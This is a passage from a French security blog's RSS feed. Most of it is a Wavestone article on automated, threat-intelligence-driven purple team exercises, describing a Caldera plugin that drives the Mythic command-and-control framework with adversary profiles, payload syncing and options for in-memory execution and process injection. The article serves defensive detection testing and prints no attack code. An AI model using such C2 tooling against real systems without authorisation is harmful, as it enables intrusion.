<p style="text-align: justify;">Pour une perspective plus large et des <strong>recommandations de haut niveau</strong> sur le positionnement du CI/CD comme pilier du système d’information, voir l’article RiskInsight : « <a href="https://www.riskinsight-wavestone.com/2025/09/ci-cd-la-nouvelle-pierre-angulaire-du-si/"><span style="color: #808080;">CI/CD: the new cornerstone of the information system</span></a><span style="color: #808080;"> </span>».</p>
<p> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/07/securite-ci-cd-attaque-de-chaine-dapprovisionnement-depuis-un-developpeur-compromis/">Sécurité CI/CD : attaque de chaîne d’approvisionnement depuis un développeur compromis</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2026/07/securite-ci-cd-attaque-de-chaine-dapprovisionnement-depuis-un-developpeur-compromis/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Purple Teams automatisés pilotés par la CTI</title>
		<link>https://www.riskinsight-wavestone.com/2026/06/purple-teams-automatises-pilotes-par-la-cti/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/06/purple-teams-automatises-pilotes-par-la-cti/#respond</comments>
		
		<dc:creator><![CDATA[Marouane Akassab]]></dc:creator>
		<pubDate>Wed, 24 Jun 2026 08:51:02 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Automated adversary emulation]]></category>
		<category><![CDATA[Caldera]]></category>
		<category><![CDATA[CTI]]></category>
		<category><![CDATA[CTI-powered Purple Team]]></category>
		<category><![CDATA[Cyber Threat Intelligence]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[MITRE ATT&CK]]></category>
		<category><![CDATA[Mythic C2]]></category>
		<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[SOC]]></category>
		<category><![CDATA[VECTR]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=30180</guid>

					<description><![CDATA[<p>Le Purple Teaming est devenu une pratique incontournable pour les organisations souhaitant évaluer et améliorer leurs capacités de détection et de réponse. En favorisant la collaboration entre équipes offensives et défensives, les exercices Purple Team permettent de valider les contrôles...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/06/purple-teams-automatises-pilotes-par-la-cti/">Purple Teams automatisés pilotés par la CTI</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;"><strong>Le Purple Teaming</strong> est devenu une pratique incontournable pour les organisations souhaitant évaluer et améliorer leurs capacités de détection et de réponse. En favorisant <strong>la collaboration entre équipes offensives et défensives</strong>, les exercices Purple Team permettent de <strong>valider les contrôles de sécurité, d&rsquo;identifier les lacunes de détection et de renforcer les processus de réponse aux incidents</strong>.</p>
<p style="text-align: justify;">Cependant, <strong>les exercices Purple Team traditionnels</strong> ne reflètent l&rsquo;état de sécurité d&rsquo;une organisation <strong>qu&rsquo;à un instant donné</strong>. Dans <strong>des environnements en constante évolution</strong>, où les infrastructures, les applications et les contrôles de sécurité changent régulièrement et où <strong>les menaces évoluent en permanence, les résultats d&rsquo;une évaluation peuvent rapidement devenir obsolètes</strong>. Les organisations se retrouvent alors face à une question essentielle : <strong>les détections qui fonctionnaient hier sont-elles toujours efficaces aujourd&rsquo;hui ?</strong> Pour y répondre, <strong>le Purple Teaming doit évoluer d&rsquo;un exercice périodique vers un processus de validation continue</strong>.</p>
<p style="text-align: justify;">Cet article présente <strong>un workflow modulaire que nous avons développé afin de transformer la CTI (Cyber Threat Intelligence) en simulations d&rsquo;adversaires automatisées</strong>. Ce workflow combine <strong>Caldera</strong> pour l&rsquo;orchestration des attaques, <strong>Mythic</strong> pour la simulation réaliste des mécanismes de commande et de contrôle (C2) et <strong>VECTR</strong> pour le suivi et la mesure de la progression des capacités du SOC : <strong>un workflow automatisé que l&rsquo;on configure une seule fois et que l&rsquo;on peut exécuter à tout moment</strong>.</p>
<figure id="attachment_30181" aria-describedby="caption-attachment-30181" style="width: 1037px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-30181 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/1-Workflow-du-Purple-Team-automatise.png" alt="Workflow du Purple Team automatisé" width="1037" height="304" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/1-Workflow-du-Purple-Team-automatise.png 1037w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/1-Workflow-du-Purple-Team-automatise-437x128.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/1-Workflow-du-Purple-Team-automatise-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/1-Workflow-du-Purple-Team-automatise-768x225.png 768w" sizes="auto, (max-width: 1037px) 100vw, 1037px" /><figcaption id="caption-attachment-30181" class="wp-caption-text">Workflow du Purple Team automatisé</figcaption></figure>
<p> </p>
<h2 style="text-align: left;">Vision et expertise Purple Team de Wavestone</h2>
<p style="text-align: justify;"><strong>Chez Wavestone, nous réalisons des exercices Purple Team depuis plusieurs années</strong> afin d&rsquo;aider nos clients à s&rsquo;assurer que leurs <strong>capacités de détection</strong> ne sont pas seulement pertinentes sur le papier, mais <strong>réellement efficaces en conditions opérationnelles</strong>.</p>
<p style="text-align: justify;">L&rsquo;objectif principal de notre approche Purple Team est <strong>d&rsquo;identifier les scénarios d&rsquo;attaque qui échappent aux contrôles de sécurité en place </strong>et de <strong>définir des mécanismes de détection adaptés pour combler ces lacunes</strong>. Au-delà de la simple simulation d&rsquo;attaques, nous évaluons systématiquement la détection selon trois critères essentiels : <strong>l&rsquo;activité est-elle journalisée, une alerte est-elle générée à partir de ces journaux, et cette alerte est-elle correctement prise en charge par le SOC ?</strong></p>
<p style="text-align: justify;">En collaboration étroite avec les équipes Blue Team au travers d&rsquo;échanges réguliers, cette démarche structurée nous permet d&rsquo;identifier à la fois <strong>des quick wins (améliorations rapides à fort impact) et des projets plus structurants</strong> nécessitant des évolutions d&rsquo;architecture ou des investissements de long terme, <strong>toujours adaptés au contexte de nos clients</strong>.</p>
<p style="text-align: justify;">Pour atteindre cet objectif, nos opérations Purple Team s&rsquo;appuient sur <strong>plusieurs approches complémentaires</strong>, chacune présentant ses propres <strong>atouts</strong> et <strong>limites</strong>.</p>
<p> </p>
<h3 style="text-align: left;">Tests Unitaires</h3>
<p style="text-align: justify;">Les tests unitaires constituent l’approche la plus élémentaire du Purple Teaming. Ils consistent à <strong>tester des TTPs spécifiques et isolés afin de valider l’efficacité de règles de détection individuelles</strong>. En rejouant ces attaques sans contexte ni adaptation à l’environnement, les équipes de sécurité peuvent vérifier que <strong>les sources de journaux, les mécanismes de corrélation et les alertes associés sont correctement configurés et fonctionnent comme attendu</strong>. Bien qu’ils soient particulièrement efficaces pour valider des contrôles individuels, les tests unitaires n’offrent <strong>qu’une vision partielle </strong>du niveau de sécurité global d’une organisation : la détection d’une technique isolée <strong>ne garantit pas la capacité à détecter et à répondre à une chaîne d’attaque complexe composée de plusieurs étapes</strong>.</p>
<p style="text-align: justify;">Par ailleurs, les tests unitaires introduisent plusieurs <strong>biais</strong> susceptibles <strong>d’altérer le réalisme</strong> des évaluations de détection. <strong>Ils nécessitent notamment la collaboration d’un « complice »de la Blue Team</strong>, chargé de fournir l’assistance nécessaire et <strong>d’éviter une escalade excessive</strong>. Cette approche limite l’identification de certaines lacunes dans les processus de réponse à incident et <strong>réduit fortement la discrétion de l’exercice</strong>.</p>
<p style="text-align: justify;">Enfin, <strong>une fois que le SOC sait qu’un exercice Purple Team est en cours</strong>, sa réaction devient inévitablement <strong>biaisée</strong>. <strong>En l’absence de l’effet de surprise et de la pression propres à un incident réel</strong>, ces tests ne permettent pas d’évaluer fidèlement la manière dont le SOC réagirait face <strong>au</strong> <strong>stress et à l’ambiguïté d&rsquo;une intrusion réelle en cours</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: left;">Exercices orientés trophées</h3>
<p style="text-align: justify;">Notre seconde approche, les exercices orientés trophées, permet <strong>d&rsquo;évaluer les capacités de détection au travers de scénarios plus réalistes.</strong> Ces opérations s&rsquo;adressent à <strong>des organisations matures </strong>et visent à évaluer et renforcer <strong>les processus de détection avancés ainsi que les capacités de Threat Hunting</strong>, plutôt que de simplement valider des règles de détection automatisées.</p>
<p style="text-align: justify;">À l&rsquo;image <strong>d&rsquo;une opération Red Team, l&rsquo;équipe offensive mène une attaque à grande échelle contre le système d&rsquo;information</strong> sans suivre une liste de tests prédéfinie, mais <strong>en poursuivant des objectifs (trophées) définis à l&rsquo;avance</strong>. Cette approche permet notamment <strong>d&rsquo;identifier des scénarios d&rsquo;attaque de bout en bout</strong>.</p>
<p style="text-align: justify;">Dans la pratique, nos exercices orientés trophées s&rsquo;appuient souvent sur <strong>une approche Red to Purple</strong> : <strong>tant que l&rsquo;équipe Red Team n&rsquo;a pas été détectée, la Blue Team n&rsquo;est pas informée de l&rsquo;exercice</strong>, ce qui favorise des réactions authentiques et non scénarisées. Cette approche offre une opportunité unique d&rsquo;évaluer les réactions réelles des équipes de sécurité et de <strong>réduire l&rsquo;écart entre les procédures théoriques et la gestion effective d&rsquo;un incident</strong>.</p>
<p style="text-align: justify;">Toutefois, contrairement aux tests unitaires, <strong>ces exercices ne cherchent pas à être exhaustifs</strong>. Leur objectif n&rsquo;est pas de couvrir chaque règle de détection déployée dans l&rsquo;environnement, mais plutôt d&rsquo;évaluer la résilience globale de l&rsquo;organisation face à un adversaire donné, <strong>en combinant l&rsquo;évaluation des mécanismes de détection, des processus d&rsquo;escalade, des capacités de Threat Hunting et de corrélation</strong>.</p>
<p style="text-align: justify;">Ainsi, les exercices orientés trophées représentent l&rsquo;aboutissement de la démarche Purple Team, en faisant évoluer la question de <strong>« Quelles sont nos lacunes de détection ? »</strong> vers <strong>« Un véritable attaquant serait-il réellement détecté ? »</strong>.</p>
<p> </p>
<h3 style="text-align: left;">Évaluations SOC</h3>
<p style="text-align: justify;">Les évaluations de SOC visent à mesurer <strong>le niveau de préparation opérationnelle et la performance du SOC.</strong> Contrairement aux approches précédentes, qui se concentrent sur la validation des mécanismes de détection, elles évaluent <strong>la capacité des analystes et des processus à détecter, qualifier, investiguer et traiter les menaces</strong>. Elles permettent de vérifier que <strong>les procédures opérationnelles et les playbooks sont correctement appliqués</strong>, tout en <strong>identifiant les lacunes de visibilité dans les journaux et la télémétrie tout au long de la chaîne d&rsquo;attaque</strong>.</p>
<p style="text-align: justify;">Toutefois, les évaluations de SOC <strong>reposent souvent sur des scénarios structurés qui introduisent une certaine forme d&rsquo;artificialité</strong>. L&rsquo;évaluation reste fondamentalement <strong>un exercice de déclenchement et de réponse,</strong> enrichi par une validation des procédures et du facteur humain.</p>
<p style="text-align: justify;">Parce que ces exercices <strong>reposent sur des déclencheurs connus et planifiés à l&rsquo;avance</strong>, ils ne poussent pas les analystes à réaliser des corrélations approfondies ni à identifier des comportements anormaux à travers une multitude d&rsquo;événements apparemment bénins. En ce sens, <strong>ils sont conçus pour évaluer « ce qui fonctionne aujourd&rsquo;hui » plutôt que « ce qui devra fonctionner demain »</strong>.</p>
<p style="text-align: justify;">Enfin, <strong>cette nature scénarisée laisse peu de place à un véritable Threat Hunting</strong>. En effet, le SOC n&rsquo;est jamais amené à découvrir <strong>de manière proactive</strong> les objectifs ou le mode opératoire d&rsquo;un adversaire sur la durée. En privilégiant <strong>l&rsquo;exécution réactive de playbooks</strong> plutôt que <strong>l&rsquo;ambiguïté propre à une campagne en constante évolution</strong>, ces évaluations passent à côté d&rsquo;un aspect essentiel du facteur humain : <strong>la capacité à détecter une menace sophistiquée ne générant pas d&rsquo;alerte prédéfinie ou particulièrement « bruyante »</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: left;">L&rsquo;illusion de « L&rsquo;instant T »</h3>
<p style="text-align: justify;">Malgré leurs différences, ces trois approches partagent une même limite fondamentale : <strong>elles évaluent le niveau de sécurité d&rsquo;une organisation à un instant donné</strong>.</p>
<p style="text-align: justify;"><strong>Les systèmes d&rsquo;information modernes évoluent en permanence</strong>. Les migrations d&rsquo;infrastructure, les transformations cloud, les déploiements applicatifs ou encore les modifications des outils de sécurité <strong>peuvent tous avoir un impact sur l&rsquo;efficacité des capacités de détection et de réponse</strong>. Une règle de détection validée lors d&rsquo;un exercice Purple Team <strong>peut ainsi ne plus fonctionner comme prévu</strong> à la suite d&rsquo;un simple changement d&rsquo;infrastructure.</p>
<p style="text-align: justify;">Dans le même temps, <strong>les acteurs de la menace adaptent continuellement leurs tactiques, techniques et procédures</strong>. Avec l&rsquo;émergence <strong>des attaques augmentées par l&rsquo;intelligence artificielle</strong>, le paysage de la menace évolue en permanence : <strong>ce qui était considéré comme sécurisé hier peut devenir obsolète aujourd&rsquo;hui.</strong></p>
<p style="text-align: justify;">Les organisations doivent donc <strong>réévaluer régulièrement leurs capacités défensives</strong> afin de s&rsquo;assurer qu&rsquo;elles restent alignées avec <strong>l&rsquo;évolution des menaces</strong>.</p>
<p style="text-align: justify;">Pourtant, <strong>le coût, la complexité et les efforts manuels</strong> <strong>associés aux exercices Purple Team</strong> <strong>traditionnels</strong> empêchent souvent les organisations de réaliser ces évaluations <strong>à la fréquence nécessaire</strong>. Il en résulte <strong>un décalage entre la validation de la sécurité et la réalité opérationnelle</strong>, laissant les défenseurs avec <strong>une vision uniquement ponctuelle de leur niveau réel de préparation face aux menaces</strong>.</p>
<p> </p>
<h2 style="text-align: left;">Donner plus d&rsquo;autonomie aux équipes de défense grâce à l&rsquo;automatisation pilotée par la CTI</h2>
<p style="text-align: justify;">Les limites du Purple Teaming traditionnel soulèvent une question essentielle : <strong>comment permettre aux organisations de valider plus fréquemment leurs capacités de détection et de réponse sans augmenter significativement les coûts et la charge opérationnelle ?</strong></p>
<p style="text-align: justify;">La réponse consiste <strong>à passer d&rsquo;évaluations orchestrées par une équipe dédiée à un processus de validation piloté par les défenseurs eux-mêmes</strong>. Plutôt que d&rsquo;attendre des exercices Purple Team ponctuels, <strong>les équipes de sécurité doivent pouvoir évaluer en continu leurs capacités de détection et de réponse, dès que le besoin s&rsquo;en fait sentir</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: left;">La CTI comme moteur du workflow</h3>
<p style="text-align: justify;"><strong>La Cyber Threat Intelligence (CTI)</strong> constitue une source précieuse d&rsquo;informations sur les modes opératoires des acteurs de la menace. En documentant leurs <strong>tactiques, techniques et procédures (TTPs)</strong>, la CTI permet aux organisations d&rsquo;aller au-delà de simulations d&rsquo;attaque génériques pour se concentrer sur <strong>des scénarios de menace réalistes et pertinents pour leur environnement</strong>.</p>
<p style="text-align: justify;">Plutôt que d&rsquo;être considérée comme un simple rapport consulté puis archivé, <strong>la CTI peut servir de fondation à des évaluations défensives répétables</strong>. Chaque nouvelle technique, campagne ou profil d&rsquo;adversaire identifié devient alors une opportunité de <strong>valider les contrôles de sécurité existants et d&rsquo;identifier d&rsquo;éventuelles lacunes de détection</strong>.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: left;">Transformer les TTPs en scénarios automatisés</h3>
<p style="text-align: justify;">Si la CTI permet d&rsquo;identifier les modes opératoires des adversaires, les organisations doivent encore disposer d&rsquo;un moyen de <strong>reproduire ces comportements de manière contrôlée et répétable</strong>.</p>
<p style="text-align: justify;">En <strong>transformant les TTPs documentés en scénarios d&rsquo;attaque automatisés</strong>, les équipes de sécurité peuvent <strong>tester en continu leur capacité à détecter et à investiguer les activités</strong> associées à des acteurs de la menace spécifiques. Bien que <strong>ce travail de transformation ne doive être réalisé qu&rsquo;une seule fois</strong>, les scénarios ainsi créés peuvent ensuite être <strong>exécutés de manière répétée avec un effort minimal</strong>, permettant aux organisations de valider leurs défenses à tout moment.</p>
<p style="text-align: justify;">Cette approche <strong>réduit considérablement les efforts manuels traditionnellement requis pour préparer et conduire des exercices Purple Team</strong>, tout en garantissant la cohérence des évaluations dans le temps.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: left;">Permettre des évaluations défensives en toute autonomie</h3>
<p style="text-align: justify;">L&rsquo;automatisation <strong>permet aux équipes de défense de gagner en autonomie</strong>. Au lieu de dépendre d&rsquo;exercices externes ou de ressources Red Team dédiées, <strong>les défenseurs peuvent déclencher eux-mêmes des évaluations</strong> dès qu&rsquo;un changement opérationnel le nécessite.</p>
<p style="text-align: justify;">Par exemple, <strong>ces évaluations peuvent être lancées</strong> à la suite d&rsquo;une migration d&rsquo;infrastructure majeure, du déploiement de nouveaux contrôles de sécurité ou de <strong>la publication d&rsquo;un renseignement CTI </strong>concernant un adversaire pertinent pour l&rsquo;organisation.</p>
<p style="text-align: justify;">Cette approche en libre-service permet aux organisations de <strong>valider leur posture de sécurité à la fréquence requise</strong>, en s&rsquo;assurant que <strong>leurs capacités de détection restent alignées à la fois avec les évolutions de l&rsquo;infrastructure et celles du paysage de la menace</strong>.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: left;">Dépasser les limites des solutions d&rsquo;automatisation du marché : l&rsquo;intégration Caldera &amp; Mythic</h2>
<p style="text-align: justify;">Bien que des frameworks d&rsquo;orchestration d&rsquo;attaques existent déjà, ils présentent souvent certaines limites opérationnelles. Par exemple, <strong>Caldera</strong> repose sur des agents génériques qui <strong>n&rsquo;implémentent pas des capacités avancées de commande et de contrôle (C2)</strong> telles que <strong>l&rsquo;exécution de scripts PowerShell en mémoire, l&rsquo;exécution d&rsquo;Inline Assembly ou encore les Beacon Object Files (BOFs).</strong> Ainsi, bien que <strong>Caldera</strong> excelle dans l&rsquo;automatisation de scénarios d&rsquo;émulation d&rsquo;adversaires, il ne permet pas toujours de reproduire fidèlement les techniques utilisées par <strong>des acteurs de la menace sophistiqués</strong>. De plus, dans les environnements où <strong>le réalisme constitue un objectif majeur</strong>, la présence et le comportement de <strong>l&rsquo;agent Caldera</strong> peuvent permettre aux défenseurs <strong>d&rsquo;identifier rapidement l&rsquo;exercice</strong>, réduisant ainsi la fidélité de l&rsquo;évaluation.</p>
<p style="text-align: justify;">À l&rsquo;inverse, <strong>les frameworks modernes de commande et de contrôle</strong> tels que <strong>Mythic</strong> offrent des capacités réalistes de simulation d&rsquo;adversaires ainsi que des méthodes d&rsquo;exécution avancées, mais <strong>ne disposent pas des fonctionnalités d&rsquo;orchestration et d&rsquo;automatisation </strong>nécessaires à la réalisation <strong>d&rsquo;évaluations Purple Team répétables à grande échelle</strong>.</p>
<p style="text-align: justify;">Afin de combler cet écart, <strong>nous avons développé le plugin Mythic pour Caldera</strong>, qui s&rsquo;intègre directement au <strong>framework C2 Mythic</strong>. L&rsquo;objectif était de <strong>combiner les capacités d&rsquo;automatisation et d&rsquo;orchestration de Caldera avec les capacités réalistes de commande et de contrôle offertes par Mythic</strong>. Dans cette architecture, <strong>Caldera</strong> conserve la responsabilité de <strong>l&rsquo;orchestration des scénarios d&rsquo;attaque pilotés par la CTI</strong>, tandis que <strong>Mythic fournit la couche d&rsquo;exécution</strong> utilisée pour reproduire les techniques avancées des adversaires.</p>
<p style="text-align: justify;">Cette intégration permet aux organisations <strong>d&rsquo;automatiser des chaînes d&rsquo;attaque complexes tout en conservant un niveau de réalisme</strong> plus proche de celui des intrusions observées dans le monde réel.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: left;">Plugin Mythic pour Caldera : bibliothèque d&rsquo;émulation d&rsquo;adversaires</h3>
<p style="text-align: justify;">Le plugin étend <strong>Caldera</strong> en intégrant <strong>le framework C2 Mythic</strong> et en fournissant <strong>des profils d&rsquo;adversaires, des fact sources, des payloads et des parsers personnalisés</strong>. Ensemble, ces composants permettent aux opérateurs de <strong>transformer rapidement la CTI en scénarios automatisés d&rsquo;émulation d&rsquo;adversaires tout en réduisant significativement les efforts de configuration manuelle</strong>.</p>
<figure id="attachment_30183" aria-describedby="caption-attachment-30183" style="width: 1680px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-30183 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/2-Plugin-Mythic-pour-CALDERA.png" alt="Plugin Mythic pour CALDERA" width="1680" height="896" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/2-Plugin-Mythic-pour-CALDERA.png 1680w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/2-Plugin-Mythic-pour-CALDERA-358x191.png 358w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/2-Plugin-Mythic-pour-CALDERA-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/2-Plugin-Mythic-pour-CALDERA-768x410.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/2-Plugin-Mythic-pour-CALDERA-1536x819.png 1536w" sizes="auto, (max-width: 1680px) 100vw, 1680px" /><figcaption id="caption-attachment-30183" class="wp-caption-text">Plugin Mythic pour CALDERA</figcaption></figure>
<p style="text-align: justify;">Le plugin intègre <strong>5 profils d&rsquo;adversaires personnalisés</strong>, chacun conçu pour émuler <strong>un modèle de menace distinct </strong>ainsi que les modes opératoires qui lui sont associés :</p>
<ul style="text-align: justify;">
<li><strong>Insider </strong>: simule <strong>un attaquant interne</strong>, tel qu&rsquo;un administrateur Windows, avec des TTPs implémentés exclusivement à l&rsquo;aide de <strong>living-off-the-land binaries (LOLBins) Windows</strong>.</li>
<li><strong>Cybercrime </strong>: simule <strong>un attaquant opportuniste</strong> s&rsquo;appuyant sur <strong>des outils offensifs accessibles publiquement </strong>et <strong>des techniques d&rsquo;attaque à distance</strong> opérées via <strong>l&rsquo;infrastructure proxy SOCKS5 de Mythic</strong>.</li>
<li><strong>APT </strong>: simule <strong>un acteur de la menace sophistiqué</strong> utilisant des techniques avancées, notamment <strong>des appels bas niveau aux API Windows, les commandes natives d&rsquo;Apollo </strong>ainsi que <strong>des mécanismes d&rsquo;exécution de payloads en mémoire</strong>.</li>
<li><strong>Linux &#8211; Insider </strong>: simule <strong>un attaquant interne</strong>, tel qu&rsquo;un administrateur Linux, avec des TTPs implémentés exclusivement à l&rsquo;aide <strong>de commandes et d&rsquo;utilitaires natifs Linux</strong>.</li>
<li><strong>Linux &#8211; Cybercrime </strong>: simule un <strong>attaquant opportuniste</strong> ciblant les environnements Linux, avec des TTPs implémentés à l&rsquo;aide <strong>d&rsquo;outils offensifs open source couramment utilisés</strong>.</li>
</ul>
<p style="text-align: justify;">Afin de faciliter la réutilisation des scénarios, le plugin s&rsquo;appuie sur <strong>les fact sources de Caldera</strong> pour <strong>paramétrer dynamiquement les abilities</strong>. Au lieu de coder en dur des valeurs propres à un environnement donné, des informations telles que les noms de domaine, adresses IP, identifiants, payloads ou paramètres opérationnels sont <strong>injectées au moment de l&rsquo;exécution</strong>. Cette approche permet de <strong>réutiliser un même profil d&rsquo;adversaire dans plusieurs environnements avec très peu de modifications</strong>.</p>
<figure id="attachment_30185" aria-describedby="caption-attachment-30185" style="width: 660px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-30185 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/3-Exemple-de-Fact-Source.png" alt="Exemple de Fact Source" width="660" height="669" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/3-Exemple-de-Fact-Source.png 660w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/3-Exemple-de-Fact-Source-188x191.png 188w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/3-Exemple-de-Fact-Source-38x39.png 38w" sizes="auto, (max-width: 660px) 100vw, 660px" /><figcaption id="caption-attachment-30185" class="wp-caption-text">Exemple de Fact Source</figcaption></figure>
<p style="text-align: justify;">La bibliothèque inclut également un ensemble <strong>de payloads et de parsers</strong> utilisés pour prendre en charge des simulations d&rsquo;attaque avancées. <strong>Les payloads sont automatiquement synchronisés avec Mythic </strong>et peuvent être utilisés par les abilities lors de l&rsquo;exécution des opérations. <strong>Les parsers</strong>, quant à eux, permettent <strong>d&rsquo;extraire dynamiquement des informations à partir des sorties de commandes</strong> et de les transformer <strong>en facts pouvant être exploités par les abilities suivantes.</strong></p>
<p style="text-align: justify;">Enfin, le plugin fournit <strong>une bibliothèque qui continue de s&rsquo;enrichir, </strong>comprenant aujourd&rsquo;hui<strong> plus de 180 abilities réutilisables </strong>couvrant<strong> une grande variété de techniques ATT&amp;CK</strong>. Ces abilities peuvent être <strong>regroupées au sein de profils d&rsquo;adversaires ou exécutées individuellement</strong> afin de valider des mécanismes de détection ou des procédures de réponse spécifiques.</p>
<figure id="attachment_30187" aria-describedby="caption-attachment-30187" style="width: 968px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-30187 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/4-Exemples-dabilities-de-la-bibliotheque.png" alt="Exemples d’abilities de la bibliothèque" width="968" height="700" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/4-Exemples-dabilities-de-la-bibliotheque.png 968w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/4-Exemples-dabilities-de-la-bibliotheque-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/4-Exemples-dabilities-de-la-bibliotheque-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/4-Exemples-dabilities-de-la-bibliotheque-768x555.png 768w" sizes="auto, (max-width: 968px) 100vw, 968px" /><figcaption id="caption-attachment-30187" class="wp-caption-text">Exemples d’abilities de la bibliothèque</figcaption></figure>
<p> </p>
<h3 style="text-align: left;">Plugin Mythic pour Caldera : intégration Caldera-Mythic</h3>
<p style="text-align: justify;">Au cœur de l&rsquo;intégration se trouvent deux interfaces en ligne de commande (CLI) : <strong>apollo_exec.py</strong> et <strong>athena_exec.py</strong>. Ces CLI interagissent avec <strong>l&rsquo;API de Mythic</strong> et sont utilisées par <strong>l&rsquo;agent Caldera Sandcat</strong> afin de <strong>piloter les agents Apollo (Windows) et Athena (Linux)</strong>.</p>
<p style="text-align: justify;">Par exemple, la <strong>CLI Apollo</strong> prend en entrée <strong>un identifiant de callback Mythic</strong>, <strong>une commande ainsi que des arguments optionnels</strong>, et prend en charge plusieurs options supplémentaires permettant d&rsquo;étendre les capacités d&rsquo;exécution :</p>
<figure id="attachment_30189" aria-describedby="caption-attachment-30189" style="width: 1437px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-30189 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/5-CLI-Apollo.png" alt="CLI Apollo" width="1437" height="360" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/5-CLI-Apollo.png 1437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/5-CLI-Apollo-437x109.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/5-CLI-Apollo-71x18.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/06/5-CLI-Apollo-768x192.png 768w" sizes="auto, (max-width: 1437px) 100vw, 1437px" /><figcaption id="caption-attachment-30189" class="wp-caption-text">CLI Apollo</figcaption></figure>
<ul>
<li style="text-align: justify;">
<p><strong>-uploads</strong><span style="white-space: normal;">: téléverse des fichiers avant l&rsquo;exécution</span></p>
</li>
<li style="text-align: justify;">
<p><strong>-downloads</strong><span style="white-space: normal;">: récupère des fichiers après l&rsquo;exécution</span></p>
</li>
<li style="text-align: justify;">
<p><strong>-deletes</strong><span style="white-space: normal;">: supprime des fichiers après l&rsquo;exécution</span></p>
</li>
<li style="text-align: justify;">
<p><strong>-ps</strong><span style="white-space: normal;">: charge un script PowerShell en mémoire avant l&rsquo;exécution</span></p>
</li>
<li style="text-align: justify;">
<p><strong>-pid</strong>: spécifie l&rsquo;identifiant du processus cible pour une injection de processus</p>
</li>
</ul>
<p style="text-align: justify;">Afin de faciliter l&rsquo;interaction entre <strong>Caldera</strong> et <strong>Mythic</strong>, le plugin implémente deux fonctionnalités principales :</p>
<ul>
<li style="text-align: justify;"><strong>Connect C2 </strong>: génère les CLI <strong>apollo_exec.py</strong> et <strong>athena_exec.py</strong> à partir des paramètres de configuration du C2 Mythic afin de permettre la communication avec <strong>l&rsquo;API de Mythic.</strong></li>
<li style="text-align: justify;"><strong>Sync Payloads </strong>: enregistre automatiquement dans <strong>Mythic</strong> les payloads requis par les opérations <strong>Caldera</strong>, notamment <strong>les assemblages .NET, les DLL, les exécutables et les Beacon Object Files (BOFs).</strong></li>
</ul>
<p> </p>
<h3 style="text-align: left;">Plugin Mythic pour Caldera : workflow d’exécution</h3>
<p style="text-align: justify;">Au sein de notre workflow, <strong>MITRE Caldera </strong>est utilisé comme <strong>plateforme d&rsquo;orchestration</strong> plutôt que comme serveur traditionnel de commande et de contrôle (C2). <strong>L&rsquo;agent Caldera (Sandcat) </strong>est déployé sur le même hôte que le serveur Caldera et est chargé de <strong>coordonner l&rsquo;exécution des scénarios d&rsquo;attaque</strong>. Au lieu d&rsquo;exécuter directement les abilities, <strong>il délègue leur exécution à l&rsquo;infrastructure C2 Mythic</strong>.</p>
